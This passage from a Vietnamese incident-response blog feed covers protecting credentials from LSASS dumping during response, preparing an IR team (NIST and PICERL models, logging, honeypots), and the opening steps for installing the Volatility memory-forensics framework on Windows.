<p>Do đó bộ nhớ của tiến trình LSASS luôn là mục tiêu của hacker. Để có thể truy cập được vào bộ nhớ của LSASS thì hacker cần phải có đặc quyền quản trị trên hệ thống. Với thông tin về quản trị viên trên hệ thống Local đó, hacker sử dụng công cụ Mimikatz (<a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a>) để xác định và trích xuất thông tin đăng nhập.</p>
<p>Thời điêm hiện tại, hệ thống Windows băm mật khẩu và không đi kèm với Salt. Do đó những người dùng đặt mật khẩu giống nhau sẽ dẫn đến giá trị NT Hash giống nhau.</p>
<h3>2.2. Phòng tránh các sự cố khi ứng phó</h3>
<p>Có nhiều sự cố được gây ra bởi sự chủ đích của hacker với hy vọng rằng quản trị viên, helpdesk của tổ chức sẽ đăng nhập vào hệ thống diễn ra sự cố với tài khoản có đặc quyền cao. Do đó như thực hiện ứng phó sự cố, người tham gia cần phải nhận thức được rủi do này và có những hành động phù hợp. Một Logon tương tác là bất cứ phương thức đăng nhập nào có sử dụng username/password, nó có thể là:</p>
<ul>
<li><p>Đăng nhập trực tiếp tại máy tính (truy cập vật lý)</p>
</li>
<li><p>Virtual Network Computing (VPN)</p>
</li>
<li><p>Remote Desktop Protocol (RDP)</p>
</li>
<li><p>Sử dụng các công cụ <code>runas</code>, <code>psexec</code>,.v.v..</p>
</li>
</ul>
<p>⇒ Bất cứ khi nào LSASS nhận được thông tin đăng nhập nó sẽ thực hiện băm và lưu vào bộ nhớ ⇒ Đều có khả năng bị hacker dump. Một số dạng tấn công hacker sử dụng</p>
<ul>
<li><p><strong>Pass-the-hash:</strong> Sử dụng thông tin đăng nhập đã được băm để xác thực</p>
</li>
<li><p>Tương tự với <strong>Kerberos ticket-granting ticket (TGT)</strong></p>
</li>
</ul>
<p>Trên hệ các hệ thống <code>*nix</code> có sử dụng giao thức SSH để truy cập từ xa, một số hệ thống sử dụng <code>ssh-agent</code> để lưu các key tránh người dùng phải đăng nhập lại dẫn đến hacker cũng có thể lợi dụng để dump các key không được mã hóa.</p>
<h3>2.3. RDP Restricted Admin và kết nối từ xa an toàn</h3>
<p>Kể từ phiên bản Windows Server 2012, Microsoft giới thiệu tính năng mới nhằm giảm thiểu rủi do đánh cắp các thông tin xác thực từ bộ nhớ có tên là “Restricted Admin mode”. Chế độ này cho phép đăng nhập được thực hiện qua Microsoft Terminal Services Client (<code>mstsc.exe</code>), người dùng đăng nhập từ xa sẽ tiến hành nhập username/password tại ứng dụng Client, tại máy Server sẽ không tiếp nhận username/password trực tiếp mà chỉ là NT Hash do đó nó sẽ không lưu NT Hash vào bộ nhớ. Tuy nhiên phương pháp này đối mặt với kiểu tấn công khác là <strong>Pass-the-hash</strong>, vì vậy chế độ Restricted Admin được tắt theo mặc định và sẽ dẫn đến trường hợp là còn tính năng SSO, người dùng sẽ thường xuyên phải nhập lại username/password để xác thực.</p>
<p>Kể từ Windows 10 version 1607, Microsoft khắc phục nhược điểm của Restricted Admin Mode bằng Windows Defender Remote Credential Guard, sử dụng xác thực Kerberos, cách tiếp cận này sẽ chuyển hướng các Kerberos request trong phiên RDP. Tham khảo: <a href="https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard">https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard</a></p>
<h1>3. Kết luận</h1>
<p>Tiến hành phân tích hiệu quả một hệ thống Local hay Remote để xác định phạm vi của sự cố là rất quan trọng trong toàn bộ quá trình ứng phó sự cố. Những thông tin quan trọng như: Tên miền, Địa chỉ IP, Các tiến trình, dịch vụ, các cổng hay sự xuất hiện của các tài khoản lạ, các tệp bất thường,.v.v. đều rất quan trọng. Khi tiến hành ứng phó sự cố, người tham gia cần cẩn thận bảo vệ các thông tin đặc quyền, thông tin đăng nhập để tránh những tình huống làm cho sự cố trở lên nghiêm trọng hơn.</p>
<h1>4. Tham khảo</h1>
<ul>
<li>Steve Anson (2020). <em>Applied Incident Response</em>, John Wiley &amp; Sons, Inc</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[IR 101: Preparation]]></title><description><![CDATA[Đối với một người làm Incident Response (IR), họ phải luôn sẵn sàng cho việc một sự cố có kể xảy ra bất cứ lúc nào. Do đó cần phải chuẩn bị sẵn sàng về con người, hạ tầng và cả các kế hoạch ứng phó.
1]]></description><link>https://blog.lehonghai.com/ir-101-preparation</link><guid isPermaLink="true">https://blog.lehonghai.com/ir-101-preparation</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Wed, 15 Dec 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<p>Đối với một người làm Incident Response (IR), họ phải luôn sẵn sàng cho việc một sự cố có kể xảy ra bất cứ lúc nào. Do đó cần phải chuẩn bị sẵn sàng về con người, hạ tầng và cả các kế hoạch ứng phó.</p>
<h1>1. Chuẩn bị về kế hoạch, quy trình ứng phó</h1>
<p>Với bối cảnh của an ninh mạng hiện nay, các phương pháp bảo vệ, phòng thủ theo cách truyền thống không còn phù hợp, cần phải có một cách tiếp cận mới chủ động và phù hợp hơn. Cách tiếp cận đó được gọi là <strong>"Cyber Resiliency - Khả năng phục hồi"</strong>.</p>
<p>Vào tháng 11 năm 2019, <strong>Viện Tiêu chuẩn và Công nghệ quốc gia Hoa Kỳ (NIST)</strong> đã công bố ấn phẩm đặc biệt với tiêu đề: <em><strong>"Developing Cyber-Resilient Systems: A Systems Security Engineering Approach"</strong></em>. Tại phần <strong>D.1</strong> của tài liệu này có trình bày về Cyber Resiliency như sau:</p>
<p>💡 <strong>Cyber Resiliency</strong> là khả năng dự đoán, chịu đựng, phục hồi và thích ứng được với các điều kiện bất lợi, căng thẳng, tấn công hoặc thỏa hiệp trên các hệ thống bao gồm tài nguyên mạng.</p>
<ul>
<li>Tham khảo: <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v2r1.pdf</a></li>
</ul>
<p>Khái niệm này cho thấy được rằng, ngăn chặn được mọi cuộc tấn công mạng (CyberAttack) là không thể và cuối cùng một "kẻ thù" nào đó rồi cũng sẽ xuất hiện trong môi trường của bạn. Nhận ra điều này, chúng ta cần chuyển từ tư thế <code>Phòng chống</code> truyền thống sang tư thế <code>Phòng chống + Phát hiện + Phản ứng</code> là rất quan trọng đối với sự an toàn của mọi hệ thống mạng.</p>
<ul>
<li><p><strong>Phòng chống:</strong> Vẫn là nền tảng của bảo mật thông tin từ trước đến nay, khi có nhiều lớp bảo vệ thì kẻ tấn công sẽ càng khó tiếp cận tài sản của tổ chức. Tuy nhiên, đến cuối cùng thì những lớp phòng thủ này có thể cũng sẽ không thể ngăn cản được kẻ tấn công.</p>
</li>
<li><p><strong>Phát hiện:</strong> Khi xảy ra sự cố, lúc này sẽ còn phụ thuộc vào khả năng điều tra, phân tích,.v.v. Ngoài việc phát hiện còn cần phải hiểu bản chất của các thành phần độc hại đó thì mới phản ứng hiệu quả.</p>
</li>
<li><p><strong>Phản ứng:</strong> Quá trình phản ứng lại với sự cố sẽ tìm cách loại bỏ các thành phần độc hại khỏi môi trường, khôi phục các hoạt động bình thường của hệ thống. Tuy nhiên, ngoài việc xử lý các mối đe dọa ngay lập tức thì trong quá trình phản ứng với sự cố cũng cần phải tìm hiểu thêm về các Threat Actor và tại sao hệ thống phòng thủ không thể ngăn chặn được.</p>
</li>
</ul>
<p>💡 Phòng chống - Phát hiện - Phản ứng tạo thành một chu trình không bao giờ kết thúc.*</p>
<p>Lưu ý rằng <strong>Incident Response</strong> cũng là một phần của quá trình phòng thủ một cách tích cực. Để đạt hiệu quả hơn, người làm IR cần phối hợp với nhóm Giám sát an ninh mạng, nhóm Quản trị hệ thống (System Administrator), nhóm Quản trị mạng. Nhóm IR cần được hỗ trợ các tài nguyên kỹ thuật bổ sung khi cần thiết, xác định phạm vi sự cố, lên kế hoạch để khắc phục những tác động của kẻ tấn công, kế hoạch này nên được truyền đạt và phối hợp với các nhóm khác.</p>
<p>Có nhiều mô hình cho việc xây dựng quy trình <strong>Incident Response</strong>, dưới đây là mô hình được giới thiệu bởi <strong>NIST</strong> trong tài liệu <code>NIST.SP.800-61r2</code> có tiêu đề: <em><strong>"Computer Security Incident Handling Guide"</strong></em>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/ca9e76da-8052-461f-8752-6d097751f8e8.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Tham khảo tại: <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf">https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf</a></li>
</ul>
<p><strong>Mô hình gồm 4 giai đoạn chính:</strong></p>
<ol>
<li><p>Preparation - Chuẩn bị</p>
</li>
<li><p>Detection and Analysis - Phát hiện và Phân tích</p>
</li>
<li><p>Containment, Eradication, and Recovery - Ngăn chặn, loại bỏ, phục hồi</p>
</li>
<li><p>Post-Incident Activity - Hoạt động sau sự cố</p>
</li>
</ol>
<p><strong>Có 2 chu kỳ con trong toàn bộ quy trình IR:</strong></p>
<ul>
<li><p>Chu kỳ 1: Detection and Analysis sẽ cung cấp thông tin được sử dụng trong quá trình Containment, Eradication, and Recovery</p>
</li>
<li><p>Chu kỳ 2: Post-Incident Activity sẽ đánh giá, nhìn nhận lại sự cố sau đó đúc rút ra bài học để củng cố lại cho Preparation như là để chuẩn bị cho các sự cố lần sau.</p>
</li>
</ul>
<p><strong>Ý tưởng của quy trình xử lý sự cố này như một chu kỳ đang diễn ra chứ không phải là một nhiệm vụ ngắn hạn</strong> ⇒ Đây là một tư duy quan trọng trong bối cảnh CyberSecurity hiện nay. Quá trình Phản ứng lại với sự cố như một cái gì đó sử dụng thường xuyên chứ không phải chỉ khi gặp sự cố khẩn cấp mới áp dụng.</p>
<p>Một mô hình phổ biến khác là <strong>PICERL</strong>, tên của nó được đặt theo các chữ cái đầu trong mỗi giai đoạn: <code>Preparation</code>, <code>Identification</code>, <code>Containment</code>, <code>Eradication</code>, <code>Recovery</code> và <code>Lessons Learned</code>. Mô hình này khá giống với mô hình đưa ra của <strong>NIST</strong>, tuy có khác nhau về thuật ngữ nhưng ý nghĩa thì không thay đổi.</p>
<p>Thông thường, sự cố thường được xác định hoặc phát hiện với một bất thường nào đó. Sự bất thường này sẽ được phân tích để xác định lại xem nó có độc hại hay không, trong quá trình phân tích sẽ thu được những thông tin bổ sung có thể đc sử dụng để xác định được các hành vi đáng ngờ khác trong cùng hệ thống. Khi xác định được sự bất thường đó là độc hại, ảnh hưởng đến hệ thống thì các bước ngăn chặn có thể được thực hiện ngay lập tức hoặc có thể tiếp tục phân tích nhằm xác định phạm vi của sự cố sau đó mới thực hiên các bước ngăn chặn, giảm thiểu thiệt hại. Sau cùng là tiến hành bóc gỡ, loại bỏ các thành phần độc hại trên hệ thống và khôi phục lại các hoạt động bình thường.</p>
<p>Có thể chọn bất kỳ một mô hình nào để làm cơ sở cho quy trình IR của nhóm bạn, điều quan trọng là quy trình phải được ghi lại rõ ràng, các thành viên phải được đào tạo, vai trò của mỗi thành viên than gia vào IR phải cụ thể. Các cấp từ lãnh đạo đến nhóm IR, đến các đơn vị liên quan cần được biết về quy trình này và phải có sự phối hợp giữa các bên. Chuẩn bị sẵn sàng cả về vật tư, quyền truy cập của thành viên trong nhóm IR, về thời gian truy cập vào các hệ thống xảy ra sự cố và giao tiếp với các bên liên quan đảm bảo quá trình IR diễn ra suôn sẻ.</p>
<p>Các yếu tố khác như ràng buộc trong hợp đồng xử lý IR, vấn đề về pháp lý cũng rất quan trọng. Đội pháp lý của bạn cũng nên tham gia vào việc quyết định khi thực hiện, tránh những sự cố ngoài ý muốn.</p>
<h1>2. Chuẩn bị về con người</h1>
<p>💡 Preparing Your People</p>
<p>Người phụ trách IR đòi hỏi phải có kiến thức và hiểu biết về nhiều mảng kiến thức. Ngoài việc đào tạo chuyên môn kỹ thuật cho nhóm IR, thành viên của IR Team cũng phải được đào tạo cả về quy trình lẫn chính sách.</p>
<p>Tham gia vào các cuộc thi, thử thách là một cách tốt để rèn luyện kỹ năng IR. Việc thực hành thường xuyên giúp người chơi quen dần với các kịch bản ứng phó sự cố, khi phải chịu những áp lực và căng thẳng như khi tham gia ứng phó sự cố trong thực tế.</p>
<p>Trong quá trình làm IR, đôi khi chúng ta bị tập chung quá mức vào việc cố gắng thực thi được các lệnh, chạy được công cụ hay đôi khi cố gắng muốn hiểu rõ những đoạn logs này có ý nghĩa gì,... một cách không thực sự cần thiết! Khi đó chúng ta sẽ không thể tập chung vào được cái gọi là bức tranh toàn cảnh, người tham gia IR phải nhận thức, đánh giá được tình huống về sự cố. Lý tưởng nhất đó là người làm IR chỉ cần thành thạo các kỹ năng cốt lõi và thực sự cần thiết phục vụ công việc, thay vào đó sẽ tập chung vào các câu hỏi điều tra cấp cao hơn để tìm ra bản chất vấn đề.</p>
<p><strong>Robert M. Lee</strong> đã có một trích dẫn rất hay trong bài báo: <em><strong>"The Sliding Scale of Cyber Security"</strong></em> của anh ấy. Tham khảo: <a href="https://www.sans.org/white-papers/36240/">https://www.sans.org/white-papers/36240/</a></p>
<p>💡 Bản thân một hệ thống không thể tự mình phòng thủ một cách tích cực được. Các hệ thống chỉ chỉ như là công cụ cho những người làm công việc "phòng thủ" (Cyber Defense). Điều mà khiến cho các mối đe dọa ngày càng tiên tiến và trở lên nguy hiểm là những kẻ đứng sau nó chủ động thích ứng, biết cách vận dụng kiến thức, nâng cao trình độ. Để chống lại những đối thủ này đòi hỏi người làm phòng thủ cũng phải linh hoạt, thông minh không kém.</p>
<p><strong>Active Defense</strong> thể hiện rõ quan điểm rằng yếu tố con người mới là quyết định chính chứ không phải công nghệ hay máy móc mới có thể bảo vệ được hệ thống mạng của tổ chức. Quá trình IR đôi khi không phải tập chung quá nhiều vào một vấn đề kỹ thuật, mặc dù phân tích kỹ thuật toàn diện có thể được yêu cầu, điều quan trọng là cần đánh giá chính xác sự cố, duy trì và đảm bảo nguồn nhân lực sao cho hiệu quả nhất. Quan trọng là nhóm tham gia IR phải có người quản lý để có thể điều phối đúng người đúng việc đồng thời cũng giữ vai trò đầu mối với các lãnh đạo, các bên liên quan, công việc này không dành cho một người thuần kỹ thuật đang trực tiếp tham gia IR được vì nó gây mất tập chung với lượng thông tin vào quá tải dẫn đến hiệu quả không cao.</p>
<p>Quá trình Incident Response có thể tạo ra một lượng lớn thông tin, bao gồm: thông tin Logs, IOCs, Tactics, Techniques and Procedures (TTPs) được sử dụng bởi kẻ tấn công (Threat Actor), ngoài ra còn có các yêu cầu từ các đơn vị kinh doanh bị ảnh hưởng bởi sự cố, thông tin hậu cần, các khuyến nghị khắc phục,.v.v... Quản lý tất cả các thông tin là rất quan trọng và đầy thách thức, IR Team cần xem xét và sử dụng một hệ thống quản lý các thông tin này một cách hiệu quả. Dưới đây là một số dự án nguồn mở giúp IR Team làm việc này:</p>
<ul>
<li><p><strong>Request Tracker for Incident Response (RTIR):</strong> <a href="https://bestpractical.com/rtir">https://bestpractical.com/rtir</a></p>
</li>
<li><p><strong>Fast Incident Response (FIR):</strong> <a href="https://github.com/certsocietegenerale/FIR">https://github.com/certsocietegenerale/FIR</a></p>
</li>
<li><p><strong>TheHive:</strong> <a href="https://thehive-project.org/">https://thehive-project.org/</a></p>
</li>
</ul>
<p><strong>Một số lưu ý quan trọng khi thực hiện Incident Response:</strong></p>
<ul>
<li><p><code>IR = Con người + Quy trình + Công nghệ</code> ⇒ Vẫn phải duy trình hoạt động an ninh của hệ thống (OPSEC) trong lúc thực hiện IR.</p>
</li>
<li><p>Thực hiện IR có thể gặp phải thông tin nhạy cảm của tổ chức ⇒ Quan tâm đến cả vấn đề pháp lý</p>
</li>
<li><p>Hoạt động IR không phải ai cũng được biết, rất có thể kẻ thù là chính người trong nội bộ ⇒ Hạn chế thông tin, chỉ những ai cần được biết mới cho biết</p>
</li>
<li><p>Các kênh liên lạc về sự cố phải được an toàn ⇒ Tránh đối thủ hoặc người không liên quan, không có quyền biết được</p>
</li>
<li><p>Quá trình điều tra thực hiện trên bản sao, hệ thống clone hoặc backup,... tránh việc đánh động hoặc tương tác trực tiếp với đối thủ ⇒ Đối thủ có thể phát hiện và thay đổi chiến thuật</p>
</li>
<li><p>Dữ liệu liên quan đến sự cố cần được lưu trữ, bảo quản an toàn (mã hóa dữ liệu, két sắt với thiết bị,.v.v.). Khi dữ liệu hoặc thiết bị được bàn giao hay chuyển cho người khác phải có giấy tờ, tài liệu lưu ký lại.</p>
</li>
</ul>
<h1>3. Chuẩn bị về công nghệ</h1>
<p>💡 Preparing Your Technology</p>
<p>Sau khi đã chuẩn bị về con người: các vai trò được chỉ định, mục tiêu và sứ mệnh được xác định, các vấn đề về trách nhiệm và pháp lý đã rõ ràng cũng như các kiến thức kỹ thuật đã được đào tạo; về quy trình và chính sách đã hoàn tất đã đến lúc phải giải quyết một trong những thách thức lớn nhất đối với hầu hết các tổ chức, đó là: Chuẩn bị về công nghệ.</p>
<p>Dữ liệu phục vụ công tác IR như: logs, network packet captures, các sự kiện khác,.v.v. có yếu tố quyết định then chốt, chúng sẽ tái tạo lại hoạt động của những kẻ tấn công. Nếu khâu thu thập những dữ liệu này thất bại hay có sai sót thì quá trình IR coi như thất bại.</p>
<p>Khi thực hiện IR, cần phải xác định được một hệ thống như thế nào mới là bất thường, để biết được thì cần phải quay lại vấn đề là một hệ thống hoạt động bình thường là như thế nào. Một hệ thống CNTT mà hỗn loạn, không có một tiêu chuẩn hóa nào, không có tài liệu xây dựng hệ thống, không có sơ đồ mạng hoặc sơ đồ không chính xác, các thành phần trong hệ thống CNTT đã lỗi thời, không có hồ sơ quản lý những thay đổi và cập nhật,.v.v.. ⇒ Việc xác định sự bất thường là điều gần như không thể.</p>
<p>Duy trì một hồ sơ khi hệ thống CNTT ở trạng thái bình thường là rất quan trọng cho quá trình IR.</p>
<ul>
<li><p>Nắm rõ các tiến trình, dịch vụ, cổng thường chạy trên hệ thống</p>
</li>
<li><p>Nắm rõ được các thay đổi như các bản update, bản vá trên hệ thống</p>
</li>
<li><p>Nắm rõ được sơ đồ mạng, các thành phần trong hệ thống</p>
</li>
<li><p>Nắm rõ được lưu lượng, mức độ sử dụng tài nguyên của hệ thống</p>
</li>
<li><p>...</p>
</li>
</ul>
<p>Nếu những yêu cầu này chưa được giải quyết thì khuyên bạn không nên chi trả bất kỳ khoản phí nào cho các công nghệ bảo mật nâng cao, công nghệ sử dụng trí tuệ nhân tạo hay dịch vụ xử lý sự cố được mời chào. Thay vào đó hãy phân bổ, quy hoạch lại hệ thống cho tối ưu và hiểu thật rõ về hệ thống của chính mình mới là thứ cần phải làm trước tiên.</p>
<p>Một hệ thống mạng được quy hoạch tốt là hệ thống được phân chia theo các cụm riêng biệt (VLANs), không thể từ trong một mạng có thể kết nối sang mạng khác dễ dàng mà không có sự kiểm soát được, điều này rất nguy hiểm và nó không gây bất cứ một trở ngại nào cho kẻ tấn công một khi có được chỗ đứng trong mạng của bạn. Mỗi hệ thống mạng con (cụm) cần được bảo vệ bởi các hệ thống phòng thủ, cản trở hoặc gây “ức chế” cho các hành động của kẻ tấn công, hoạt động trong mạng phải được kiểm soát và lưu lại và có cơ chế cảnh báo.</p>
<p>💡 <strong>Zero-Trust Network</strong> - Kiến trúc này nhấn mạnh việc sử dụng Micro-Segmentation, tường lửa nhận biết được ứng dụng (Layer 7), truy cập với đặc quyền tối thiểu và nhiều công nghệ liên quan khác nhằm hạn chế hoạt động của người dùng và ngăn chặn các hoạt động độc hại của đối thủ lây nhiễm sang các hệ thống khác.</p>
<h3>3.1. Đảm bảo khả năng bao quát toàn hệ thống</h3>
<p>💡 Ensuring Adequate Visibility</p>
<p>Khả năng bao quát toàn hệ thống ở đây có thể hiểu là hệ thống mạng được cấu hình, triển khai hệ thống giám sát đầy đủ từ các thiết bị mạng: firewall, router, switches đến máy chủ, máy người dùng,.. Những dữ liệu này cần được quản lý và khai thác một cách hiệu quả, để phục vụ cho nhu cầu này nhiều tổ chức đã đầu tư vào một hệ thống gọi là <strong>Security Information and Event Management (SIEM)</strong>. Một thách thức với bất kỳ hệ thống SIEM nào đó là lượng dữ liệu đổ về quá nhiều, thậm chí là các dữ kiện không thực sự có giá trị dẫn đến một hệ quả là hệ thống trở lên quá tải và chậm chạm, trong ngữ cảnh của Ứng phó sự cố đôi khi yếu tố tốc độ cũng rất quan trọng. Điều này có thể khắc phục bằng việc xây dựng một giải pháp “SIEM Chiến thuật”, riêng biệt mà ở đó chỉ tập chung vào các sự kiện bảo mật có giá trị cao, quan trọng. Một vài ví dụ:</p>
<ul>
<li><p>DNS Logs: Liên quan trực tiếp đến hạ tầng C2 của tin tặc. Có thể giám sát một danh sách các C2 hoặc tìm được trong quá trình điều tra, phân tích một hệ thống bị lây nhiễm ⇒ Nhanh chóng xác dịnh được máy nào đã phân giải tên miền độc hại này ⇒ Xác định được phạm vi ảnh hưởng</p>
</li>
<li><p>System logs: với Windows thì là Windows Event Logs, với *nix thì có Syslog Service phụ trách ghi và gửi log ⇒ Các log này có thể là: logs xác thực thành công hoặc thất bại, logs truy cập dịch vụ, log truy cập các tệp quan trọng, logs các kernel module được load,.v.v.</p>
</li>
<li><p>Logs của các Security Product: EDR, AV Software, 3rd Software</p>
</li>
<li><p>Logs các thiết bị di động, các thiết bị IoT ⇒ Mỗi thiết bị tham gia mạng đều có thể là một mối đe dọa</p>
</li>
<li><p>Logs từ các thiết bị mạng, các hệ thống tại biên của mạng ⇒ Khi xác định được một IP độc hại có thể theo dõi được luồng đi trong hệ thống.</p>
</li>
<li><p>Logs từ các hệ thống Firewall, Sandbox, IDS/IPS, DLP, Network Security Monitoring,.v.v..</p>
</li>
</ul>
<h3>3.2. Đảm bảo về trang bị phần cứng, phần mềm</h3>
<p>💡 Arming Your Responders</p>
<p>Nhóm IR cần được cung cấp các thiết bị vật lý cần thiết, cho đến việc sử dụng một kết nối mạng internet riêng với tốc độ cao để có thể kết nối và phân tích từ xa, việc này sẽ phụ thuộc vào môi trường và điều kiện của tổ chức. Ngoài ra nhóm IR sẽ làm việc trên các dữ liệu bằng chứng số nên các công cụ, giải pháp được sử dụng cũng cần đảm bảo được cài đặt, cấu hình trước đó và đã được thử nghiệm. Trong một số trường hợp thì các thiết bị vật lý chuyên dụng sẽ rất quan trọng.</p>
<p>Một hệ thống phức tạp, nâng cao như Sandbox hay các công cụ chuyên dụng dùng trong quá trình phân tích mã độc, phân tích gói tin, trích xuất bộ nhớ RAM hay tạo image từ ổ cứng cũng cần phải được cài đặt và thử nghiệm trước đó.</p>
<p>Những dữ liệu hỗ trợ trong quá trình phân tích như: Giá trị băm của mẫu đã biết, các quy tắc YARA cho các tệp nghi ngờ, các signature để quét các tệp,.v.v.. cần phải được duy trì trên một Cơ sở dữ liệu. Các công cụ sử dụng để phân tích cần được cập nhật và nó nên là phiên bản mới nhất. Nhóm IR cũng cần duy trì các tài liệu, hồ sơ các cấu hình, công cụ,.v.v..</p>
<p>Các thiết bị, công cụ,.v.v. gọi chung là tài nguyên để phục vụ cho công việc IR nên được kiểm tra, bổ sung theo định kỳ để đảm bảo đáp ứng được nhu cầu của tổ chức.</p>
<h3>3.3. Đảm bảo hoạt động kinh doanh và Phục hồi sự cố</h3>
<p>💡 Business Continuity and Disaster Recovery</p>
<p>Business continuity and disaster recovery (BCDR) là thuật ngữ được sử dụng cho nhiều quy trình khi thiết kế để đảm bảo các hoạt động vẫn được tiếp tục khi phải đối mặt với các thảm họa. Trong bối cảnh của an ninh mạng hiện nay, chúng ta nhận ra được rằng không thể tránh khỏi một sự cố bảo mật xảy ra. Khi gặp một sự cố nghiêm trọng có tầm ảnh hưởng lớn, nó đòi hỏi sự phối hợp của các bên và các tổ chức.</p>
<p>Trong nhiều tình huống, việc đưa ra quyết định ngăn chặn ngay mối đe dọa hay tiếp tục giám sát để thu thập thêm thông tin về chúng cũng cần phải được bàn bạc. Phương pháp ngăn chặn cũng phải được lựa chọn, ví dụ: Việc phân chia hệ thống mạng một cách khoa học theo từng cụm sẽ dễ dàng quản lý hơn, khi có sự cố thì việc cách ly hệ thống bị lây nhiễm ở cấp độ mạng là tốt hơn so với việc phải tắt nguồn điện hệ thống vì những hành động này có thể làm hỏng hoặc mất bằng chứng số.</p>
<h3>3.4. Các chiến thuật ứng phó với tin tặc</h3>
<p>💡 Deception Techniques</p>
<p>Trong quá trình thực hiện IR, các hệ thống phòng thủ có thể sẽ được kích hoạt, điều này sẽ tạo ra khó khăn cho các Threat Actor và buộc chúng phải thay đổi chiến thuật, sử dụng các kỹ thuật khác nhau để đạt được mục đích của mình. Điều này đồng nghĩa cũng sẽ tạo ra nhiều "ồn ào" trong hệ thống và sẽ dễ bị phát hiện hơn. Các hệ thống Honeypots lúc này thực sự rất hữu dụng cho việc theo dõi các hành động của Threat Actor. Hệ thống Honeypots bắt chước càng giống với hệ thống thật sẽ càng tốt. Một số Honeypots nguồn mở:</p>
<ul>
<li><p>The Artillery: <a href="https://github.com/BinaryDefense/artillery">https://github.com/BinaryDefense/artillery</a></p>
</li>
<li><p>Cowrie SSH/Telnet Honeypot: <a href="https://github.com/cowrie/cowrie">https://github.com/cowrie/cowrie</a></p>
</li>
<li><p>WebLabyrinth: <a href="https://github.com/mayhemiclabs/weblabyrinth">https://github.com/mayhemiclabs/weblabyrinth</a></p>
</li>
<li><p>Modern Honey Network: <a href="https://github.com/pwnlandia/mhn">https://github.com/pwnlandia/mhn</a></p>
</li>
</ul>
<p>Các thông tin xác thực có thể được lưu trữ trên bộ nhớ của hệ thống, kẻ tấn công thường lợi dụng điều này để tiến hành trích xuất chúng từ bộ nhớ. Trong các hệ thống Honeypots, chúng ta có thể tạo các mật khẩu băm giả, với thông tin tài khoản giống như tài khoản thật để đánh lừa đối thủ. Một tài khoản quản trị viên với mật khẩu mạnh nhưng không bao giờ dùng tài khoản này trong môi trường Product, một khi kẻ tấn công sử dụng tài khoản này để xác thực thì hệ thống sẽ sinh cảnh báo, từ đó chúng ta có những chiến thuật điều tra khác nhau. Một ví dụ khác đó là với các tệp tin giả mạo, chúng ta sử dụng các tệp này như "mồi nhử" hacker, các tệp trông có vẻ chứa dữ liệu quan trọng và một khi có bất kỳ tương tác nào liên quan đến tệp tin này sẽ được cảnh báo.</p>
<h1>4. Kết luận</h1>
<p>💡 Conclusion</p>
<p><strong>Incident Response</strong> nên được coi như là một phần tích hợp vào hệ thống <strong>Cyber Resiliency</strong>. Cần chuẩn bị sẵn sàng từ con người, quy trình đến công nghệ, nếu không một khi sự cố bảo mật nghiêm trọng xảy ra, thiệt hại sẽ rất lớn. Trong phần tiếp theo, tôi sẽ trình bày các kỹ năng, kỹ thuật cần thiết để thực hiện một cuộc IR hiệu quả.</p>
<h1>5. Tham khảo</h1>
<ul>
<li>Steve Anson (2020). <em>Applied Incident Response</em>, John Wiley &amp; Sons, Inc</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Volatility 101: Building a customize portable version]]></title><description><![CDATA[1. Cài đặt Volatility trên Windows
Cài đặt Python 2.7.18

Download: https://www.python.org/downloads/release/python-2718/

Cài đặt Microsoft Visual C++ Compiler for Python 2.7

Download: https://web.a]]></description><link>https://blog.lehonghai.com/volatility-building-a-customize-portable-version</link><guid isPermaLink="true">https://blog.lehonghai.com/volatility-building-a-customize-portable-version</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Sun, 03 Oct 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h1>1. Cài đặt Volatility trên Windows</h1>
<p>Cài đặt <strong>Python 2.7.18</strong></p>
<ul>
<li>Download: <a href="https://www.python.org/downloads/release/python-2718/">https://www.python.org/downloads/release/python-2718/</a></li>
</ul>
<p>Cài đặt <strong>Microsoft Visual C++ Compiler for Python 2.7</strong></p>
<ul>
<li>Download: <a href="https://web.archive.org/web/20210106040224/https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi">https://web.archive.org/web/20210106040224/https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi</a></li>
</ul>
<p>Cài đặt <strong>Pip2</strong></p>
<pre><code class="language-powershell">$ curl.exe https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
$ python .\get-pip.py
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/2ee3d3af-454f-446a-9235-de8f8f31bcd2.png" alt="" style="display:block;margin:0 auto" />

<p>Download mã nguồn của <strong>Volatility Framework</strong></p>
<pre><code class="language-powershell">$ git clone --recursive https://github.com/volatilityfoundation/volatility.git
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/e1ff80e8-5269-42d2-ab7c-3422b32251ab.png" alt="" style="display:block;margin:0 auto" />

<p>Cài đặt gói <code>virtualenv</code> cho Python 2:</p>
<pre><code class="language-powershell">$ pip install virtualenv
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/8fc363a3-07ed-4a1b-a23e-f7a10a5f463e.png" alt="" style="display:block;margin:0 auto" />

<p>Tạo <strong>Python Virtual Environments</strong></p>
<pre><code class="language-powershell">$ virtualenv.exe -p path\to\your\python.exe vol2
$ .\vol2\Scripts\activate
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/dd907b12-b386-4210-b1fc-7e3621967fea.png" alt="" style="display:block;margin:0 auto" />

<p>Cài đặt các dependencies Python Modules</p>
